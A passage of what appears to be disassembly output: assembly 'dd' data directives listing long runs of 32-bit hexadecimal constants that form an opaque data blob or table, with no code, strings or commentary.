0F85DD6Ah dd 0E197877h, 7909AB75h, 1075EF38h, 0F7967571h, 17C99522h dd 0E42B0D1Ah, 87A95881h, 94B7250Eh, 9F42F535h, 18644A4h dd 0FC552707h, 718F891h, 5790F566h, 45A56690h, 0CA72D3B4h dd 265390C2h, 0B4C4391Eh, 59E5AE15h, 6E7D7DE1h, 3DD0A507h dd 0BDB98754h, 0F892A348h, 0EDF59CFBh, 0FC85934Ch, 0EB04A8A1h dd 4D236CE0h, 184145B1h dd 1C2D1B2Ch, 8CF568E4h, 97FBA404h, 0EED111A7h, 0BBA25E39h dd 4DC2D46Bh, 0D77805E4h, 2EF05E01h, 0C3F49CF7h, 0E7F91A9Bh dd 0AF9B0670h, 2F6F11A9h, 452BB7ABh, 1DC8BD88h, 44B576AEh dd 0F9D1D7FCh, 7AB9B744h, 5CD87D0Ah, 0D8F9E5A4h, 0D10D9DCCh dd 96DB3082h, 0FD2CE0FCh, 54CD6A60h, 75573182h, 0BE937E96h dd 0F5786987h, 4C354E59h, 6D4BF033h, 0A68628Dh, 92C55B4Fh dd 7116C968h, 928FE0E8h, 0AE6CE785h, 0EFA5B4F9h, 9781D52h dd 0C4D5BCCCh, 15EED7B5h, 61FD67D3h, 20307BCFh, 5FA7A9B2h dd 0C32E33E8h, 0A627DD16h, 0C8B51DADh, 0D661534Ah, 356BBB8Eh dd 910956B9h, 0F22EF9F7h, 9D3ED4A9h, 0C2112B6Ch, 71A3A5D4h dd 748A4EC1h, 0CF9EF1E3h, 0A5C7A64h, 5E5E9E59h, 6C567258h dd 0A5A1272Dh, 5BAA4E15h, 0CB4700AAh, 6C3A3FBAh, 1B7B8E87h dd 0B651FD1Ah, 5C4378CDh, 214341F5h, 257E5523h, 0C1A8653Dh dd 0BE5260D1h, 9E0C1B9Dh, 0C86E00DCh, 951C69F2h, 0A851850Fh dd 0CCC8365Bh, 31413D47h, 0D5F0B2C1h, 890EE1BAh, 0C8F7251Ch dd 63B3FB27h, 4EF6531Ch, 39C18D8Eh, 5BFCFA18h, 97DC47E0h dd 5B6B8A26h, 6F5188D6h, 8D1525D2h, 0D97D045Ch, 3CE3D23Eh dd 0B283893Dh, 773EBEECh, 1691EA85h, 3CDC42F8h, 0DBF8ECC8h dd 1964BB30h, 4F83E3CFh, 26A193B9h, 236C92F5h, 0AB1BB1A5h dd 40B32D59h, 241B4E7Ch, 0C4D3E277h, 0C799A8A9h, 0FCEE1C21h dd 54FEC141h, 0A64D27D9h, 0F6D44B27h, 3CF37840h, 83F32BB5h dd 6BE592C7h, 0ACDA4857h, 0BD74BC6Fh, 3E9A0204h, 418156ABh dd 601A5BE4h, 0F908F41Eh, 2483504h, 6F89C6E8h, 0F88A08BEh dd 2E11E07Dh, 7B886F89h, 0C0F175DEh, 9C4DCFDDh, 48113B32h dd 0EA063814h, 0B8228E5Eh, 44A8471Bh, 644DB329h, 4723CEE3h dd 56B88869h, 0AF23E103h, 0AA0BC21Eh, 0DF89F24h, 0B18727A3h dd 0D28CA65Eh, 175B2ED0h, 0A612ED7Dh, 0DE2E0F24h, 0EC5A613Dh dd 0F588FFF1h, 4FEE64B0h, 0A5EEA4ECh, 2ADE0521h, 681F41EFh dd 1CC6FA61h, 0AE39EEDEh, 0CB789A42h, 61E5D7DAh, 55ED6CD9h dd 0D75E3CE4h, 725AA50h, 44F605A3h, 0FF6FBA67h, 2CBBCF11h dd 0DD8F32E3h, 269DAC75h, 89046806h, 0A997AEC4h, 0E237A138h dd 67DAC5CFh, 73AC8DB2h, 5A3899D1h, 0B089BA05h, 0B4471DB8h dd 0A663D9B7h, 946FBF1Ch, 0F39B1029h, 0B99EC0FEh, 2A158129h dd 0C7CEF3CDh, 9333A70h, 99FF4D4Dh, 657115CEh, 2E65CB16h dd 0A2912F67h, 396B714Dh, 0AFC231DAh, 6F7BD260h, 0EE38D799h dd 47A57969h, 8D9E3A8Dh, 0A60377C6h, 5C9728B7h, 8EC1015Ch dd 80749848h, 1D0E2030h, 0E39C3F7Fh, 2FAE2D21h, 5936E58Fh dd 24A6D71Dh, 0A329FE0Eh, 530CDC7Dh, 670D76C5h, 0B5AB2F59h dd 0E4A77184h, 0B700A1Dh, 2CD29100h, 42D463DAh, 1C32EF3Ch dd 0FBB5A9Ch, 0BB427BDh, 7BDFD8CDh, 0B0D135DCh, 0C57B48B0h dd 9620B97h, 7866848Ah, 0B024391Bh, 0C77CF481h, 2C6A13F3h dd 5E32C8D9h, 0D238BA09h, 4E1F5A88h, 6029103Dh, 0A5685FFEh dd 3B79E12h, 820D065Fh, 4E474DCAh, 0DAC2A8D8h, 4600E72Ah dd 9F775C3Dh, 0B3D923A2h, 534354DEh, 0F7AB76F6h, 0A1C6DB6Ah dd 0E7FCC513h, 5303C006h, 0ACD2E908h, 51B1A593h, 3E8912C5h dd 52511800h, 945BBA9Fh, 0B015FE2Fh, 88D8C01Ch, 7818B00Ah dd 984D6278h, 4723E390h, 44CFD6B0h, 746607C3h, 0DD1E97A8h dd 5D17458Fh, 7AEF72A8h, 195A96D8h, 8A086329h, 6C5C6DEFh dd 9A9D828Bh, 45EE2D35h, 263B4CF5h, 1C2DCC03h, 0C62C3Ah dd 0CFD9392Dh, 0EBD948AFh, 4EE3CF0Eh, 61C4CECh, 687C47C6h dd 0B5743649h, 0A05D7212h, 9C6953F8h, 4D9417DDh, 0FCE927E9h dd 0C4B888ABh, 0E0766F71h, 0A7D762E1h, 994F6924h, 9899B8DDh dd 891654DAh, 46FE0EA4h, 0D9ED8DBCh, 1404AE39h, 65DF6182h dd 0A5EDF067h, 0D1C32EC5h, 2E9958A8h, 0D41F315Bh, 0AABC5958h dd 0A44D0FBCh, 32944F41h, 6F3D07ADh, 5472AFC4h, 0AC2F2218h dd 0D0B910A9h, 0C85799F2h, 7E1D7018h, 3FA1E3C1h, 92F7D9F1h dd 1BA6060Ch, 0BFB1F9EFh, 0E5BBEE5Dh, 0C5185256h, 36BA0FEFh dd 0A9E68A0Eh, 2DF369FDh, 24B267DDh, 35E386B2h, 0AED12B9Ch dd 0C466CDD0h, 0A74D7746h, 0BF7F5A0h, 8B9B2C09h, 399D122Bh dd 498F7382h, 7D97789Dh, 7C0B36A4h, 304D006Ch, 9DA92AE4h dd 0C4F13C47h, 0DC71A630h, 17B80AFFh, 0DA24F082h, 21211395h dd 6B0A2975h, 1629A460h, 16FD8A1Eh, 6F82AE2Fh, 38B2D839h dd 7C1EDAE0h, 0A09CB64Eh, 1EBFB76Fh, 0EB9D0C20h, 7334E239h dd 35280DD5h, 857859D5h, 92F2CBC5h, 80E989FCh, 0DAB7C745h dd 0E9F9F695h, 0C4026F4h, 86A29AA0h, 0E2CAA431h, 348177ACh dd 7F3F2CB2h, 5EB645C0h, 6F962C2Ch, 0EC81B65Fh, 0F42C6C85h dd 32AEBF15h, 3EF8B68Bh, 17CE9A5Eh, 0FB0E40F3h, 84DA39BDh dd 2C462FF8h, 0C5A6CA71h, 3874C07Ah, 0C18987E9h, 2233BBA2h dd 150A5096h, 667B9BCAh, 6EB5B70Fh, 977BE1B3h, 0CFA07E49h dd 0B32D03B2h, 0C106A0A4h, 0FB388641h, 3850447h, 34736468h dd 2FAE6E38h, 0F1F557F6h, 3FF36059h, 54742FDAh, 0D58DD3BDh dd 0C225B321h, 0F26D8159h, 80BE220Eh, 0BAD82529h, 4EE24CE7h dd 9C87F5AAh, 9FD4C0D8h, 91CA60D3h, 9BCA8498h, 0E3D479C7h dd 0E11CD813h, 0BFBF901h, 1DE34184h, 10B5E677h, 69226C5Fh dd 41D4E6Fh, 9199A985h, 5C9C85F9h, 741EB232h, 0FE62187Bh dd 2D6A9FB5h, 0AA7D8B7Fh, 181731EBh, 26C40073h, 19EE6C55h dd 787428BCh, 5B6983Eh, 2B3B5F67h, 0ACD92B5Ah, 247263E5h dd 0A7FD7F42h, 0A470F7D1h, 5469796Ch, 85ED897Ah, 0BFEB722Bh dd 0A65AB7B5h, 21AAEE95h, 0DD956E7h, 0CDAF0CACh, 0BF93A06Dh dd 5C4DE328h, 956798ACh, 81BEF021h, 5CB4DD93h, 9AE4F160h dd 8E285F2Dh, 5C5BD1B9h, 46C3C3DEh, 4FFCF178h, 8CCC6936h dd 26768E3Dh, 0B8728F07h, 7096ACF6h, 5697947Eh, 8D88CAD0h dd 0B4A5FE89h, 0BAD05D98h, 6ED5359h, 0A21513EEh, 0CD396213h dd 5C0DFDEDh, 97C32C58h, 9D42A2A7h, 973B0393h, 0E32569B1h dd 5B13BD8Dh, 765964E8h, 2C2C5270h, 54D76CB9h, 1FA75E4h dd 91B110A5h, 0B225946Ch, 0D74E8929h, 0C0E47B54h, 3F1A249Dh dd 0B6FCD896h, 0BA518A77h, 178157CEh, 0A2620ACCh, 146C1833h dd 0B3AFA971h, 56E55317h, 0FD74FA7Ch, 533F19A6h, 0EBE46919h dd 6A2A8AA9h, 0F0C8DB5h, 3B7D9CE4h, 59379C2Fh, 3B85678h dd 0DE65BC25h, 300D35AAh, 0CC1292D8h, 660AC298h, 0DB43D1C6h dd 0E2320745h, 0D3F0271Dh, 6DAE7BC8h, 0A7B03A9Ch, 0A5A5DF00h dd 111D9D9Dh, 95BB69FCh, 0ABD5515h, 0C9A18019h, 5E557772h dd 0F878B5BFh, 54A06DEh, 9CB2E11Fh, 0C5D23B38h, 2464EDB3h dd 1C657EBAh, 3885752Fh, 0F1CDFC7Fh, 0B1CEBE00h, 36128F81h dd 2573E81Ah, 0D97BF0FEh, 0AB620A0Dh, 9E097983h, 5360D4FEh dd 84CE4901h, 54127E3Bh, 0C2C44989h, 80A7A65Fh, 27A00017h dd 49C9C671h, 0FE6FE1D7h, 0D1319E86h, 0DC5EC9E4h, 0CD363C6Ah dd 0AAD45D57h, 2276F71Ah, 0D5DF3826h, 928A7E58h, 0DE7A2D1Fh dd 7BFDA6BBh, 3EAA2D0Dh, 0D4EB94E9h, 9BF7D091h, 0C423675Ah dd 73004FDBh, 0E78DFA29h, 0EC186D2Dh, 0A70FF748h, 11D55339h dd 6EAC628Fh, 611F5B76h, 0F5C4DD67h, 9CD87CC0h, 4DAC6A16h dd 266E0941h, 2ACF340Fh, 0E86D9EC5h, 0F63E5511h, 0D2E65BBAh dd 8382F58Dh, 0C1E98C57h dd 85E93058h, 0C9D983BFh, 89B3BFD9h, 448A714h, 123DA34Ah dd 0BE513753h, 3611EAE6h, 7891053Dh, 976C0639h, 3902939Fh dd 711DEFCCh, 0AACF7BBDh, 7EADBCA8h, 0DDF6022Eh, 4EBAE635h dd 256E214Eh, 545BD69Ah, 9A16EC66h, 949A0C8Ah, 100A7214h dd 551699CDh, 8705E518h, 932A1565h, 26EF0A65h, 1A419395h dd 4B1829D0h, 70C403FCh, 4FD486C7h, 0D0988AD9h, 3026DE89h dd 0B7D2A9B5h, 57EE3602h, 148F1787h, 20A49F79h, 5969F638h dd 9796EA10h, 56BA646Dh, 3436482Dh, 558D672Dh, 2772E97Dh dd 7859001Dh, 57278C10h, 0D42AA370h, 0BE7EDDC1h, 84AC7963h dd 3177FAE0h, 2C4E07EFh, 6E2236D4h, 3BC13DCBh, 110CF420h dd 5CF6880Bh, 1AD4F82Dh, 9490390h, 0B4FEB3A3h, 450BEE6Ch dd 2EA5DDECh, 235D72D6h, 46D0EDB0h, 8A5B8A90h, 2AEB2910h dd 61B36513h, 4F15E6Dh, 0D2ED9994h, 0F5B29525h, 95AF2466h dd 49AB2BA3h, 0BEF5CBC6h, 133BB545h, 626AEB63h, 0BE1FD862h dd 7CFC28Eh, 38D20F3Ah, 3C17DE83h, 11C31AD1h, 928B6B9Eh dd 0B3C24925h, 17F31D85h, 8B0A0523h, 1FBCCBE9h, 70E5C25h dd 6C6C09CDh, 7619B06Ah, 3778383Bh, 0FEB8A0A3h, 5E5812B1h dd 570588F9h, 1492F8F3h, 8F0B83C5h, 506261E6h, 25AC0C46h dd 0ECAC484Fh, 37C0AE0Dh, 185B0F5Ch, 0BFBFFEAEh, 0AF5023B9h dd 0C1532B1Fh, 760BBC67h, 73138492h, 24A40D33h, 0D84758F3h dd 154DB9C7h, 8F71DF37h, 6E555403h, 0DACED99Ah, 53224279h dd 0B9645599h, 260A8B6Fh, 8097976h, 5C3A444Ah, 0A3EBC6C4h dd 981B9346h, 0FCD4377Ch, 5DB3A7BBh, 22008E78h, 0B20FC06Ch dd 0FBE0924Fh, 7FC33F2Eh, 0F4E9992Eh, 1A693840h, 0B9E1825Eh dd 0BA746AE5h, 49B55B4Ah, 844E69C8h, 0B7B8BC96h, 0D5D851EAh dd 0A31A308h, 580BC6D2h, 11638AB6h, 117FB126h, 386760A9h dd 0F2A24487h, 0AF6A7C54h, 0E7EA0DFCh, 44093239h, 0D48A96FDh dd 8DF9CDEBh, 333EFB5Fh, 0B8478C25h, 0C611CB1h, 0F2E57428h dd 5965FAA5h, 8FB85B6Eh, 0B7845B1Fh, 0EAC572A1h, 195EFA3Ah dd 0C77DA8C0h, 1176F2E8h, 3486E126h, 15E4F299h, 4143558Fh dd 96914AFCh, 71CC139Fh, 62ABBB2Ch, 937CCFB2h, 0F07FA143h dd 33721786h, 213685DFh, 487377E0h, 43DB24F8h, 0C1716874h dd 21D6831Ch, 0DBB636CFh, 8D2C03h, 143B9765h, 2DC5BC9Ch dd 2057A951h, 932C5213h, 1C4FA3EBh, 0BE53E571h, 2D6E878Dh dd 0F3428B06h, 57C79EA9h, 0CE04F97Bh, 8427E270h, 32362BCEh dd 884A6D31h, 0AC3AFC7Fh, 0F3E56BBh, 0A1F83D6Eh, 0FA4D419Fh dd 0FF30D558h, 546815CCh, 0BBA98353h, 6E8631B0h, 30E695EAh dd 9EC6033Ah, 6B5FF873h, 501E7C5h, 59EDBCD9h, 0B7A7307h dd 6162870Fh, 0D34424A4h, 0FEBAC752h, 0C63E524Fh, 0E033DCA6h dd 3F0674D2h, 3E2B3351h, 4B227AB7h, 77158CC9h, 0D7A161F2h dd 73ADC776h, 55E4471Ah, 51F9BFA5h, 0AB28D75Dh, 6287E09Ch dd 22B1B87Ah, 75C35BBFh, 0DDD59FCCh, 4DF7C748h, 0C9EE77DCh dd 0B8467373h, 45DCD05h, 6F855B42h, 5A0D9B3Ah, 8DF982Bh dd 19C6C063h, 4366436Ah, 8A89056Dh, 8BC40AFCh, 9E452B71h dd 0D6CDEDADh, 0C414E42Fh, 0AEA21AF8h, 0D145C92h, 1727FAA6h dd 77803589h, 7DB57386h, 0DF8910FAh, 0A69415A6h, 0CDA94CA5h dd 0D3A6DF18h, 0C618A50Eh, 0E887C74Eh, 0BAED8A23h, 0C1D7EB38h dd 55A89A25h, 5325EB0h, 0DB1174F3h, 7D575B6Ah, 313199D0h dd 44ADF4Ah, 55F99179h, 91273923h, 0D56F2340h, 32AF9B11h dd 218FABF7h, 0D1670E83h, 8E1F256Ah, 0CDF6D797h, 40334F00h dd 0DB221209h, 0D89EDE87h, 623B2C1Eh, 953278D8h, 0D4A25F58h dd 9A2C3564h, 5AC3EE6Dh, 23901E34h, 0A2A442D4h, 0A4571318h dd 0FCF9222Dh, 7B1B28B6h, 1496A55Bh, 43ABE138h, 43BFFDB3h dd 5565E9CAh, 0F2433833h, 58DD3EE5h, 5A528413h, 0BD3650FFh dd 0F6E12E30h, 0EA0684DCh, 6168EB54h, 32BCFD81h, 4E449423h dd 12678116h, 6D4045E2h, 359B03FEh, 6DE9001Fh, 3EFFEF3Bh dd 0AFFFA474h, 0BB5952AFh, 0E98C8C05h, 0E4D74E09h, 322BDA08h dd 9BE9DA0Fh, 414CD3F2h, 86187ADEh, 0D51A069Bh, 0DB20959Ch dd 13F75B14h, 8D1F2815h, 0FA793108h, 65A057E0h, 0ABE70A07h dd 0EAF889AEh, 0DBBC6F65h, 0F811A747h, 87F371B7h, 0C3BA212Eh dd 7E69DDDEh, 2197FEB0h, 0CBA9C8E9h, 8746AEF1h, 660AB2C5h dd 0F26E408Eh, 0C1AA42EAh, 61562C65h, 2DF58793h, 5183BD5Bh dd 0F34667EAh, 57B4CB87h, 8DA6EDEh, 6F5DC23Dh, 0BD141AE4h dd 5A4E999Ah, 0F5C3FC4Ch, 0E3F6143Ch, 1A0E06Ah, 88414CF3h dd 924C9544h, 988797F2h, 9BE9AE5Dh, 0A688F869h, 0CC6A8E10h dd 1837C0C0h, 672F4A7Fh, 307BEFD4h, 69657E8Ah, 69809B04h dd 22F67851h, 0CFDF2DFEh, 381A96F6h, 0CDD78CB0h, 9B2FD05Bh dd 86A945FCh, 2092586Ch, 0DE158A98h, 0AC3B3A3Dh, 72EDA51Ah dd 6813721Dh, 5D10F4Dh, 0AC982EC4h, 0F0B9C2A5h, 52C97934h dd 0F72E429Ch, 2E81E913h, 8987C330h, 0D1FF7C1Dh, 3CC08C5Ch dd 775FA70Ch, 3AAA9253h, 78E38CAFh, 0FF948F10h, 0CF6E7980h dd 0D5101222h, 4AD43927h, 5659467Fh, 0FC1AC3C0h, 0BDB490D3h dd 0A3624803h, 0C6EA3EEAh, 0E99ACC25h, 3377DA6Dh, 0FC2E87C2h dd 0E96E3542h, 554CD4DAh, 11798BA7h, 31FB81B1h, 1ADE1C87h dd 47B2653Dh, 3F59F84Dh, 2CD2ED86h, 91A2907Ch, 5F2A001Dh dd 2C64202h, 0E62625B4h, 89C7984Ah, 43E591EFh, 667B4BBDh dd 0A743D199h, 0F6CB5956h, 6C62690Ch, 24A91758h, 13F6311Bh dd 610C14E8h, 41A9853Fh, 47141DE7h, 9A77FA68h, 9FB8519Bh dd 0D1A6FBF4h, 64C927EFh, 0E8B6BFF1h, 0D0FC6296h, 410DE5E6h dd 1EDD90D7h, 0BB2F4E4Dh, 0F15F6FC0h, 364B3B96h, 0AA331436h dd 52FF0F7Ch, 1873E2B9h, 0DCC4910h, 3C0DC2DCh, 74F8E381h dd 0ED44A769h, 31D39EB0h, 0E52DF6EEh, 828F830Ch, 138BC8FFh dd 0F1B6E894h, 0E3A988BBh, 15E804A9h, 0DF5E3786h, 0C480A0A7h dd 0B75E18AAh, 5ABDA220h, 12917808h, 1088D294h, 870510F0h dd 19E45700h, 4D6BAAD0h, 24B782F3h, 0FC7544A3h, 98E16C82h dd 0A6C04571h, 781CB82h, 6EDF66C3h, 98DE510h, 219C1251h dd 0E0963AAEh, 8D671A2Ah, 84CE2D53h, 0CEA28953h, 78A868F7h dd 91C0BE27h, 5AA63A9Fh, 9866343Ah, 1BC96F84h, 760C274Fh dd 20674DFCh, 0A4A9E049h, 0A0898206h, 6B7F8DAAh, 0BEDC77C4h dd 4C3875DEh, 0D76A2CD5h, 3971F88Bh, 0C0FFDDF3h, 0A1BD45E2h dd 0EBDD5EA9h, 0A48BC3F3h, 61853785h, 78778CF1h, 0B17161E3h dd 0F7984EE0h, 1CE5A295h, 86EED07h, 0AA166E69h, 0CA4E99F5h dd 33671EB9h, 0FBF34A64h, 81ADD595h, 9E124681h, 0B70BC69Eh dd 0A0AE26E7h, 0A9B57585h, 0BAEC9A12h, 40E5B2C4h, 0F0CCF557h dd 65A8E414h, 9A65DCCCh, 8810B389h, 0BE5CB1CCh, 90A3EFDBh dd 0F0A18EA9h, 897F034Bh, 8274A49Dh, 21732FD1h, 0A12A90DEh dd 8FFD4257h, 38E61975h, 0A21AEFB4h, 9FAB5198h, 7B0F00C8h dd 158B9772h, 0C45B97EFh, 9A0BAB8Dh, 239F1424h, 0C7B444A4h dd 38E41E12h, 22A4AEE7h, 0E6559923h, 0C5D60BCCh, 0C6D112DBh dd 15DA3371h, 49DCE8B8h, 0E48444D7h, 32A93E14h, 944226E9h dd 1A8C6E1Eh, 165DB33Ch, 0C8F0D4Bh, 0BD1C0433h, 0FB33CEECh dd 0D01A3219h, 152B158Ah, 0BFF9644Bh, 0F5855453h, 0C2BA3FA8h dd 9F0880BBh, 35FA3DBDh dd 65DE6B93h, 6391827Ch, 14560369h, 0EA5A9DADh, 0A80FDBD0h dd 4F4B1C8Fh, 6C625AA1h, 0E5500A9Dh, 9072CF1Eh, 3DEE3FDAh dd 0B2D3FB04h, 442E2BEEh, 18EF4B5Fh, 0A1A7BECAh, 64B78327h dd 95072CA9h, 0F9246314h, 425E06D6h, 9887D30Eh, 83C11C8Dh dd 0DA134CF4h, 4D9B87DDh, 0FC6E9E41h, 0F9431EC4h, 1EA24A06h dd 7D99E770h, 0EC6EAB07h, 3D10E58Ah, 84A45A80h, 659DD41Eh dd 0EBECC630h, 0D13915ADh, 34B5527Ah, 50578FBDh, 0DC46B70Ah dd 591718ABh, 0CD830C6Eh, 44E2C178h, 78E57DD2h, 713508Bh dd 0DF46751Ch, 0C617CB29h, 99EE4766h, 6952F5C6h, 0BA22621Dh dd 0E5E9E51Ch, 0E3DF4D07h, 726B3C47h, 6CC591BEh, 0C974262Ch dd 0C8D2B833h, 0CDA8C0B6h, 962AADA0h, 8CF1F3h, 349FB3F6h dd 828C932Fh, 0C9C558BFh, 17C40559h, 49DEDF04h, 0A27F9ECEh dd 0E531EDC3h, 0FA42B0A0h, 3DB6CEB6h, 0A0E57B2h, 705EA663h dd 0D806606h, 1304CC33h, 0F231068Ah, 6B63DA07h, 85E2C92Dh dd 59CE2BBDh, 2179DAE3h, 0E22AB621h, 0B013B61h, 38DC044Fh dd 0B1A71FEAh, 5245F1CDh, 14EBDF8Bh, 5BB7F460h, 803A768Dh dd 0F5D1C2E8h, 4D67711Bh, 0AA13123Dh, 1E443B73h, 0F13BE409h dd 175785C5h, 5CB191D6h, 44CAD972h, 0E84FA010h, 6BD1090Ch dd 9E0A95A3h, 24E227E6h, 0DBB7361Fh, 3A903A12h, 0DFFB6DE1h dd 0CE9A0DF9h, 32274DF0h, 30010937h, 5FC6FA7Fh, 8A0FEA29h dd 9C1C8E17h, 93DC6DF2h, 0D70EF697h, 22DB07CEh, 0EDE1FB40h dd 0FF1ADA1Dh, 0B753E6C4h, 84DE04BDh, 0B26E5939h, 5A248138h dd 6CA655F2h, 185D9BDEh, 245CFE85h, 0C4091B30h, 0C9CB5BF8h dd 60A1221Bh, 34C1F531h, 0BC772CB5h, 4F4929A3h, 0A43CB2B5h dd 90B38DFh, 684237CBh, 0FE0C880Ah, 0A7C46347h, 9393248Eh dd 0BC88E2Ch, 2DE239D5h, 3D0AD352h, 0E4A1E3E3h, 64DA7C43h dd 77431C01h, 51C4198Dh, 98AC99FBh, 2DF049E7h, 75BFF18Ah dd 0A65AE0Ah, 0E4EE36ABh, 10296CC6h, 0F371BDE9h, 0BDD0A36Fh dd 0D6D6AFB3h, 4566E2EEh, 51EBE271h, 0B2B6BF4h, 0D82609D6h dd 4243FF02h, 0ED9AA69Bh, 585A9ED5h, 0D0A445AEh, 0A660F512h dd 0E898A2D1h, 0FCEC3668h, 5D60F14Fh, 67152F6Bh, 0FB6546F4h dd 4066EA6Ch, 0D2CCB0DBh, 0A2F19640h, 7A4F365Dh, 0D4961C54h dd 99074788h, 716D28D1h, 76F2D7A2h, 0F6501974h, 6B8FF67Bh dd 7A11CFE9h, 1B790F06h, 258D9F5Ch, 0FDA8921Fh, 5C4B191Eh dd 0C11C7A57h, 0B229D687h, 0F24164EBh, 95253A6Ch, 4CC57698h dd 75B52BD2h, 4903763Ch, 0C62CDA19h, 6634C890h, 0CCD3CBA0h dd 0CA737E6Ch, 7C9113Bh, 5068020h, 61982687h, 2B53EF02h dd 0EB916073h, 81D69840h, 0EDFDA62Ch, 0CA6FBA81h, 0C7E32E63h dd 3AC6589Ah, 0C7783FCEh, 23178413h, 0F4336C07h, 0CD14CF23h dd 4D30B6E5h, 719BF8B2h, 3A1F2800h, 0B339A14Ah, 9A9EE80Ch dd 0F240BB57h, 5D19B02Dh, 0D24823B7h, 648BBE5Bh, 0A5B3D4D2h dd 0D3218005h, 104110EBh, 519C923h, 57E6F9D6h, 74DA85E5h dd 326E3BA3h, 0ED7AC647h, 92BA9C55h, 0C700E80h, 64771C18h dd 0C4D35D9Ah, 1A7039F0h, 81EB0FF0h, 8F0805EAh, 88A2E4EFh dd 85634D0Ch, 6E14E464h, 9E870593h, 1C624B9Fh, 0D33ADB51h dd 0D1A7C082h, 5D104A5Bh, 5F866287h, 902E1FA9h, 6B1C6814h dd 96E4003Bh, 0A15CD888h, 68ADEC47h, 611E916Eh, 8A46163Ch dd 0C2846EDh, 9A1E1EA8h, 7C6D6FD1h, 0C0CDACC0h, 95614692h dd 9A458101h, 95E26168h, 0DA2D845Eh, 22E653B1h, 6D59BCCh dd 28838ADEh, 0FDE8E01Ch, 179F42A7h, 217B228Ch, 0D16D807Dh dd 0F1CA48E5h, 9B606A8Dh, 1E3FB188h, 0E59B865Ah, 9DC2038Ah dd 0A9344118h, 6AD7E1B5h, 0DB7B4362h, 43B101AFh, 199BFCF2h dd 0DBAD4385h, 0C6ACE79Dh, 0DDC9C8C9h, 0BFD6E08Eh, 0CC944222h dd 0D0837850h, 20DAF146h, 81C7E29Fh, 6BE56E04h, 0ED13BC57h dd 28E3409Eh, 9EF97400h, 0BA18E295h, 864C0657h, 0DA481232h dd 0A8E27144h, 8A5B8279h, 0A3A94FA5h, 26ECA1BBh, 0B5CE49A3h dd 0D04A2C27h, 0BFD73AB9h, 0E882C37Dh, 0FD2EE601h, 0D2E6A307h dd 5B6754F8h, 0F3CCA454h, 0BA841CA7h, 0FB155023h, 74FFD71Eh dd 0A3C9BEA9h, 75130D08h, 0E38E60D1h, 0DB709C9Ah, 38903940h dd 0B5E82BFBh, 0EC30B514h, 904962DEh, 0D1CA365Bh, 0BB82A78Dh dd 0DF0A0C2Bh, 0F4E4618Fh, 0CE33C8Dh, 9F716D0Eh, 17DE9127h dd 0C88484Dh, 42CEE89Bh, 0A263A341h, 8E7BEA72h, 9CF0D88Eh dd 0FD4F8CFDh, 99B41628h, 0AF3952B0h, 6C91DF84h, 2204A187h dd 22568E11h, 0F2B7B7FFh, 0AC499A45h, 0CDA22A23h, 0B5E955ECh dd 42CA5E70h, 77A5F88Bh, 7B695244h, 30D3EA63h, 6CE42FA0h dd 3EF02001h, 0D7E70367h, 9309C35Eh, 0D7D16565h, 219839C0h dd 0F657A06Ch, 0A32913D2h, 640594A9h, 119BD950h, 278DBA80h dd 0AF158EECh, 3736FDC7h, 71DE3283h, 4BCCE281h, 0F361804Bh dd 55E99873h, 618B5C1Eh, 798F9AB8h, 8D06F4A5h, 690D8567h dd 3C18B74Bh, 0A2B6D3Fh, 1D65E7BFh, 0BA358C08h, 0FA4C90F0h dd 269C8270h, 6D03BEF0h, 0DE75A1DCh, 0B98854EEh, 8ADB1410h dd 0C20EBA1Ah, 1C6BD182h, 0BAEDC4F3h, 30972486h, 8B026779h dd 41605C71h, 871247EFh, 0FAE5892Dh, 73F8D173h, 0ECF00EF5h dd 0C138A46Eh, 0ABF312F7h, 0EF875B09h, 57453504h, 11609F95h dd 86EF17F0h, 0E8B31CE9h, 8D55F9EDh, 0B0D51EB6h, 0D33BB45Ah dd 0A3377E00h, 0BD0C7227h, 0A79596E8h, 8F316995h, 9AC3AE80h dd 0E42F4049h, 0A58D277Ah, 4E207F5Eh, 0CEF89D8Ah, 232AA42Ah dd 0DA6BB1F1h, 0BE88A5BFh, 0B56B584h, 7E2B17C8h, 0CC1301B8h dd 85DEB586h, 0B85CD066h, 0AB63BE59h, 0B5E30B04h, 9478AEC1h dd 96E0D024h, 0EC173EF2h, 193E6528h, 33EDCA0Ch, 0BB4B17CCh dd 0D526F021h, 9049C4C4h, 4F301D6Ch, 0DF66CE0Bh, 42EB8DAAh dd 190B8EE8h, 0C4C5B6E7h, 28F3CE24h, 0B8ED4538h, 12A75E5Ah dd 0A839C59Dh, 0A6FBA2E9h, 57619C52h, 0F9597B07h, 2B26376Ah dd 1610CA07h, 9E1891F7h, 2B1B848Eh, 0C6CD4939h, 7F26C1EAh dd 2B6FFB20h, 0D082B477h, 72F3817Eh, 0C47F2E2Ah, 0AC5136EFh dd 0A6D85E85h, 0F139E544h, 6D7EF19Ch, 372A7282h, 0F23906EBh dd 0B40A8469h, 0E02F83ABh, 73188A5Eh, 0C8A73D74h, 0EDC0BC61h dd 0F64C6FCBh, 8C6E529Fh, 44BACEE6h, 1A762F14h, 8D5386B0h dd 0C34B0124h, 0D9ED7A8h, 7307806Dh, 0A045793Bh, 72BA262Ch dd 47C62170h, 632CDD83h, 20D3848Ch, 18FA7C5Ah, 0E4CF7356h dd 87150646h, 0C197494Fh, 0F3154162h, 4699B971h, 25C86651h dd 327F85E7h, 4E767F24h, 0FCC0B932h, 0A816BBCh, 8F5D7893h dd 0FCFF0AA4h, 0D44E1FF8h, 628B0EA2h, 18341284h, 0BD8A087Fh dd 44C1B5C1h, 0FAAEB40h, 0DDD97896h, 659C376Dh, 5AE1B9A5h dd 61A0E1B8h, 34CD1C75h, 386B39A4h, 6FA9D6DFh, 4E413E48h dd 0B65F6C05h, 0F0F0B86Dh, 0FF38CC7Bh, 6F270A8Fh, 37056F35h dd 2097F0CEh, 150FD95Dh, 0E5AAE012h, 57ECA0B6h, 0A5C2B001h dd 1717DA69h, 0E76703B6h, 0B6FBCA28h, 9DC68397h, 0EF3A850Bh dd 99C07231h, 0E910A2E2h, 0AA5DA95Fh, 0D518C8AEh, 17D8AB1h dd 90CAB718h, 70B6A955h, 135E3057h, 22C9A762h, 0EFEB46B0h dd 3F5F2D9Bh, 0B6B0FD3Fh, 277FFFEAh, 33B2678Ah, 0EF548DF6h dd 28677058h, 0F57CFA1Ch, 0B865D63Fh, 18D6686Ah, 38F0110Eh dd 33842D3Ah, 20C25015h dd 0A45B9033h, 58149645h, 55FF9D85h, 0A79F86B1h, 39C1B342h dd 8AD0597Eh, 0B60FA5C8h, 60EFBE19h, 0EE796A12h, 0EB380B71h dd 0DDCBD651h, 7CE4BFCh, 21908AE4h, 